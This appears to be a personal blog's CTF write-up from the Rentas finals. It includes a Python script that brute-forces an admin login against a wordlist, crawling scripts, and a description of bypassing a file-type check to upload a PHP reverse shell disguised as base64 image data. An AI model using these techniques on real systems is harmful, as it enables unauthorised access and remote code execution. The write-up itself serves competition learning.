Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Rentas Finals Short Write-up - Team Kena Paksa

Introduction


Continuing from the qualifiers, our team Kena Paksa (disclaimer: nobody was forced) were selected out of 30 teams to be in the final round. During the CTF, our team managed to solve all 4 web challenges which puts us in a very favorable position of 4th place among other participating teams (yay!). Even though some challenges was kind of guessy to me, I have to say the hardware challenges were really fun. Actually at the start of the CTF, we were thinking of only solving hardware challenges but it turns out you were not allowed to solve all of them 🥹 

Image in a image block
Top 10 ranking score

Web


Anti-brute

No idea why this challenge is called anti-brute, but I just pulled up a script to bruteforce entire wordlist given with the username admin

import requests

url = 'https://no-brute.ctf.rawsec.com/login.php'

headers = {
    'Host': 'no-brute.ctf.rawsec.com',
    'Cookie': 'cf_clearance=y0gKYwaq5ozihGtgGe5EZBd2glfaMTrfXTzryzcIr80-1709952012-1.0.1.1-fEP3qCUq.ivksX8XfWDPJ_LUw4t7jf38q0zLp1vnShhX8PedWnt_TXT7hyNCYJRMOrGdfX6YaiEvTYFo9e_L_w',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'https://no-brute.ctf.rawsec.com',
    'Referer': 'https://no-brute.ctf.rawsec.com/',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1',
    'Te': 'trailers'
}

with open("possible_password.txt", "r") as a_file:
    for line in a_file:
        stripped_line = line.strip()
        print(stripped_line)
        data = 'username=admin&password={}'.format(stripped_line)
        response = requests.post(url, headers=headers, data=data)
        print(response.text)
        if 'Invalid username or password' not in response.text:
            print('Login successful with password: {}'.format(stripped_line))
            break
Image in a image block
Flag: RWSC{n0_brut3f0rc3_pl34s3}

Blackhole

The blackhole challenge is like the previous challenge in the qualifiers. But we are dealing with url encoding instead.

We popped out a script to traverse through all directory

import requests
from bs4 import BeautifulSoup

def traverse(url):
    res = requests.get(url)
    print(res.url)
    if "<label title=\"Click the entire page to do the table flip\">" in res.text:
        return None
    
    soup = BeautifulSoup(res.text, 'html.parser')
    rows = soup.findAll('tr')

    # Flags to indicate if a folder, back or file was found.
    found_folder = False
    found_back = False

    for row in rows:
        if '/icons/folder.gif' in str(row):
            vtcell = row.findAll('td')[1]
            directory = vtcell.find('a')['href']
            if directory != "/":
                traverse(url + directory)
            found_folder = True
        elif '/icons/back.gif' in str(row):
            found_back = True

    # If a back icon was found but no folder icon, the directory is empty.
    if found_back and not found_folder:
        print(f"An empty directory was encountered at: {url}")
    
    # If no folder was found and no back icon was found, we're probably at a page.
    if not found_folder and not found_back:
        print(f"No more folders in: {url}. It could be a file or something else.")

def main():
    url = "https://blackhole.ctf.rawsec.com/"
    traverse(url)
    
if __name__ == "__main__":
    main()

and we found a really strange directory structure.

Image in a image block

When we opened the page, we found flag.txt which says

are you finding the flag?

this is not a flag.

check back the url!

So, the last thing we did is we url decoded all the folder structure names.

and we got the flag!

Flag: RWSC{bl4ckh0le_iz_w0rmh0l3}

Catch me if you can

For this challenge, it’s the almost the same as traversal challenge we had before this. But now we are dealing with redirection. We wrote a script to fetch all the redirection path and parse it to a file.

import requests
from urllib.parse import urljoin, urlparse, parse_qs

base_url = 'https://catchme.ctf.rawsec.com/'

s = requests.Session()
s.max_redirects = 100  # Increase limit to 100

def follow_redirects(url):
    all_destinations = []  # a list to store all redirect destinations
    while True:
        response = s.get(url, allow_redirects=False)  # do not automatically follow redirects
        if response.status_code == 302:  # if we got a redirect
            url = urljoin(base_url, response.headers['Location'])  # get the redirected URL
            
            # Parse the URL and get the 'destination' parameter value:
            parsed_url = urlparse(url)
            params = parse_qs(parsed_url.query)
            if 'destination' in params:
                all_destinations.append(params['destination'][0])

            print('Redirected to:', url)  # print it
        else: 
            break  # no more redirects, exit loop
    return response, all_destinations  # return both final response and collected destinations

start_url = base_url + 'redirect.php'
final_response, all_destinations = follow_redirects(start_url)
print('Final response:', final_response.status_code)

#write all destinations to a txt file
with open("destinations.txt", "w") as f:
    for destination in all_destinations:
        f.write("%s\n" % destination)

When we got the all the redirected path in destinations.txt, at first, I tried to get the contents of every page by using request.get() but it turns out the flag is not in the page but instead inside the X-FLAG header. We wrote a script to find a page that has X-FLAG header that is different from others.

import requests
from urllib.parse import urljoin

base_url = 'https://catchme.ctf.rawsec.com/'

# Read the destinations.txt file
with open("destinations.txt", "r") as file:
    destinations = file.readlines()

# Strip newline characters
destinations = [destination.strip() for destination in destinations]

# Perform a GET request for each destination
for destination in destinations:
    print(destination)
    url = urljoin(base_url, destination)
    print("Requesting:", url)
    
    response = requests.get(url)
    
    print("Response Headers:")
    for header, value in response.headers.items():
        print(f"{header}: {value}")
    
    if response.status_code == 200:
        print("\nResponse content:")
        print(response.text)
        
        # Check if X-Flag header is present and its value
        x_flag = response.headers.get('X-Flag')
        if x_flag == "Catch me if you can. The flag is not here.":
            print("Flag not found. Continuing to next URL.\n")
            continue
        else:
            print("Flag found! Stopping further processing.")
            break
    else:
        print("Failed to retrieve URL:", url)
Image in a image block
Flag: RWSC{c4tch_th3_fl4g_huh_0.o}

Human || zombie

For this challenge we were given a website where you can upload an image of yourself and check if you are a zombie or not.

Looking at the request, we see that it is sending an image file with base64 encoding.

Image in a image block

After further testing, we found that if we change png here to any format, let’s say php , and we could easily upload any file format to the server.

Image in a image block
Image in a image block

Next thing we can do, is we could input our PHP payload into base64 encoding they used for the image.

Which should look like this. (Used hackvertor here to automatically base64 encode and url encode + pentestmonkey payload)

Image in a image block

And we successfully got a reverse shell. After traversing through all the folders, we found the flag!

Image in a image block
Flag: RWSC{tr4sh_c0d3_g1v3s_u_rce}

Hardware


Ultrasonic RFID

For this challenge we were given a schematic of a Ultrasonic Sensor. Knowing about how the sensor works, we thought of how we could just get the flag by fiddling with an object and distancing them between the sensor again and again.

After so many tries, we got the flag!

Image in a image block
Flag: RWSC{YOUGOTIT}

Network


I hope you have the software

We were given a packet tracker file.

Image in a image block

The solution is very simple, we just looked into every html file of a web server inside each of the server and we found the flag!

Image in a image block
Flag: RWSC{!t5_a_t4c3r_f!l3_:D}